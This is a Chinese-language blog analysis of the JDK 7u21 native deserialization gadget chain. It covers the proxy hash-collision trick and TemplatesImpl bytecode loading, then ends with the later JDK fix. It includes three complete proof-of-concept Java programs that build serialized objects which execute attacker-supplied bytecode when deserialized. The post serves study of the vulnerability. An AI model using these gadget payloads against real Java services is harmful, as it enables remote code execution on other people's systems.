目录

jdk7u21 链子分析

jdk7u21 链子分析

java 中的反序列化大部分时候都依靠第三方组件漏洞,原生链子很少,今天分析其中条:jdk7u21

链子分析

环境:Java7u21原生链反序列化要求jdk版本低于7u21,其他的什么第三方依赖都不需要。下载 jdk 源码地址:https://hg.openjdk.org/jdk7u/jdk7u/jdk/rev/f3cf02a53684

ysoserial 中给出的调用链,

Gadget
LinkedHashSet.readObject()
LinkedHashSet.add()
  ...
    TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
  ...
    Proxy(Templates).hashCode() (X)
      AnnotationInvocationHandler.invoke() (X)
        AnnotationInvocationHandler.hashCodeImpl() (X)
          String.hashCode() (0)
          AnnotationInvocationHandler.memberValueHashCode() (X)
            TemplatesImpl.hashCode() (X)
    Proxy(Templates).equals()
      AnnotationInvocationHandler.invoke()
        AnnotationInvocationHandler.equalsImpl()
          Method.invoke()
            ...
              TemplatesImpl.getOutputProperties()
                TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
                    TemplatesImpl.defineTransletClasses()
                      ClassLoader.defineClass()
                      Class.newInstance()
                        ...
                          MaliciousClass.<clinit>()
                            ...
                              Runtime.exec()

这里实际调用的链子。

HashSet.readObject()
	map.put
		Proxy(Templates).equals()
			AnnotationInvocationHandler.invoke()
				AnnotationInvocationHandler.equalsImpl()
					TemplatesImpl.getOutputProperties()
						TemplatesImpl.newTransformer()
  							TemplatesImpl.getTransletInstance()
    							TemplatesImpl.defineTransletClasses()
      								ClassLoader.defineClass()

关键方法 AnnotationInvocationHandler.equalsImpl() ,看到在 else 存在反射调用,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241020200346382.png

memberMethod 是循环调用 getMemberMethods 方法获取的,跟进到 getMemberMethods,最后返回的其实就是 type 中所有方法组成的数组,然后进行循环调用。type 在该类构造函数中赋值,可控。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241020200822826.png

回到 equalsImpl() 方法中,要进入 for 循环还需要满足一个条件,

if (!type.isInstance(o))  
    return false;

type 需要是 o 的实例化,这里最后选择的是 templates 类,那么 type 和 o 就都是 templates 类了。上面利用 getDeclaredMethods() 获得所有方法,其中就包括 getOutputproperties() 方法,最后执行 memberMethod.invoke(o) 调用该方法进行动态加载字节码(其中 memberMethod.invoke(o)是只能调用无参方法)。

继续向上面看,o 就是调用的 equalsImpl 方法参数,即让 equalsImpl 方法参数也为 templates 类就行了。

然后在 AnnotationInvocationHandler.invoke() 中调用了 AnnotationInvocationHandler.equalsImpl() 方法,不过需要满足 if 条件,要求反射调用的方法是 equals,并且该方法只有一个参数,参数类型是 object.class

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241020201550495.png

那么怎么去触发该 invoke 方法了,这里的类名结尾是 handler,可以通过动态代理进行触发,

看上面的链子不难发现用的是  LinkedHashSet 类,在 hashset#readobject 方法中调用了 map.put 方法,cc7 中已经知道 hashmap.put 中会触发 equal 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241020203122098.png

跟进到其 put 方法中,需要满足 map 中的两对键值 hashcode 相同,然后让 key 为代理类对象,在调用 equals 方法是就可以触发到 AnnotationInvocationHandler.invoke() 方法,这里还需要参数 k 为 templates 对象就能进行触发 invoke 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241020205950626.png

先来满足 Proxy 的 hashCode 的 TemplatesImpl 的 hashCode 相等。调用 TemplatesImpl.hashCode 就是 object 中的 hashcode,而 Proxy 的 hashcode 会调用到 AnnotationInvocationHandler 中的 hashCodeImpl 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241020221323101.png

Annotationinvocationhandler 的构造方法会对 memberValues 进行赋值。然后 for 循环又会对map中的每个key和 value 进行异或求和。现在我们可以控制 memberValues,也就可以决定 Proxy.hashcode 返回的值,

于是如果我们可以构造的一个map 满足,key的hashCode()结果是0,value是templateslmpl对象。那么最后返回的 hashcode 就和 TemplatesImpl.hashCode 相等了,这个 key 可以参考 p 神的爆破脚本

public class Text {
    public static void main(String[] args) {
        for (long i = 0; i < 9999999999L; i++) {
            if (Long.toHexString(i).hashCode() == 0) {
                System.out.println(Long.toHexString(i));
            }
        }
    }
}

在 ysoserial 给的是 f5a5a608

poc 构造

实列化 AnnotationInvocationHandler 类,让 type 为 Templates.class ,hashmap 键值为特意构造计算相同的 hash 值

TemplatesImpl tem = new TemplatesImpl();  
byte[] code = Files.readAllBytes(Paths.get("D:/poc.class"));  
setValue(tem, "_bytecodes", new byte[][]{code});  
setValue(tem, "_tfactory", new TransformerFactoryImpl());  
setValue(tem, "_name", "gaoren");  
setValue(tem, "_class", null);

HashMap hashMap = new HashMap();  
hashMap.put("f5a5a608",tem);

Class clz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor c = clz.getDeclaredConstructor(Class.class, Map.class);  
c.setAccessible(true);  
InvocationHandler handler = (InvocationHandler) c.newInstance(Templates.class, hashMap);

然后把值添加进 hashset 中,poc:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javax.xml.transform.Templates;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Map;  
  
public class jdk7u21 {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem = new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/poc.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        HashMap hashMap = new HashMap();  
        hashMap.put("f5a5a608",tem);  
  
        Class clz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor c = clz.getDeclaredConstructor(Class.class, Map.class);  
        c.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) c.newInstance(Templates.class, hashMap);  
        
        Templates proxy = (Templates) Proxy.newProxyInstance(tem.getClass().getClassLoader(), tem.getClass().getInterfaces(), handler);  
  
        HashSet hashSet = new HashSet();  
        hashSet.add(tem);  
        hashSet.add(proxy);  
  
    }  
  
  
    public static void setValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
  
    }  
}

进行调用,看到两个 hash 值确实相等了,那么代理类会调用 equals 方法,从而触发 invoke 。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241021084753981.png

最后调用到了 getOutputProperties() 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250304192024702.png

成功弹出计算机,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20241021085241501.png

但是这里是通过 add 方法调用进行触发的,现在更改一下 poc 使得在 readobject 的时候进行调用,就是 add 顺序调一下。

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Map;  
  
public class jdk7u21 {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem = new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/poc.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        HashMap hashMap = new HashMap();  
        hashMap.put("f5a5a608",tem);  
  
        Class clz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor c = clz.getDeclaredConstructor(Class.class, Map.class);  
        c.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) c.newInstance(Templates.class, hashMap);  
        Templates proxy = (Templates) Proxy.newProxyInstance(tem.getClass().getClassLoader(), tem.getClass().getInterfaces(), handler);  
  
        HashSet hashSet = new HashSet();  
        hashSet.add(proxy);  
        hashSet.add(tem);  
  
        serilize(hashSet);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
  
    public static void setValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
  
    }  
}

ysoserial 给的链子中使用的 LinkedHashSet 类其实也是一样的。

还有就是上面说的 rome 链中的 equal 链也可以进行触发,利用 hashtable 进行触发。

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Hashtable;  
import java.util.Map;  
  
public class jdk7u212 {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem = new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/poc.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        HashMap hashMap = new HashMap();  
  
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);  
        c.setAccessible(true);  
  
        InvocationHandler handler = (InvocationHandler) c.newInstance(Templates.class, hashMap);  
        Templates proxy = (Templates) Proxy.newProxyInstance(tem.getClass().getClassLoader(), tem.getClass().getInterfaces(), handler);  
  
        HashMap hashMap1 = new HashMap();  
        hashMap1.put("AaAaAa", proxy);  
        hashMap1.put("BBAaBB", tem);  
  
        HashMap hashMap2 = new HashMap();  
        hashMap2.put("AaAaAa", tem);  
        hashMap2.put("BBAaBB", proxy);  
  
        Hashtable table = new Hashtable();  
        table.put(hashMap1, "1");  
        table.put(hashMap2, "2");  
  
        serilize(table);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
  
    public static void setValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
  
    }  
}

漏洞修复

在 jdk > 7u21 的版本,修复了这个漏洞,AnnotationInvocationHandler 的 readObject() 方法增加了异常抛出,导致反序列化失败

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250304192954511.png

参考:https://nivi4.notion.site/7u21-be753754767a4e13a638c70ad9a48110

参考:https://www.cnblogs.com/BUTLER/articles/16478462.html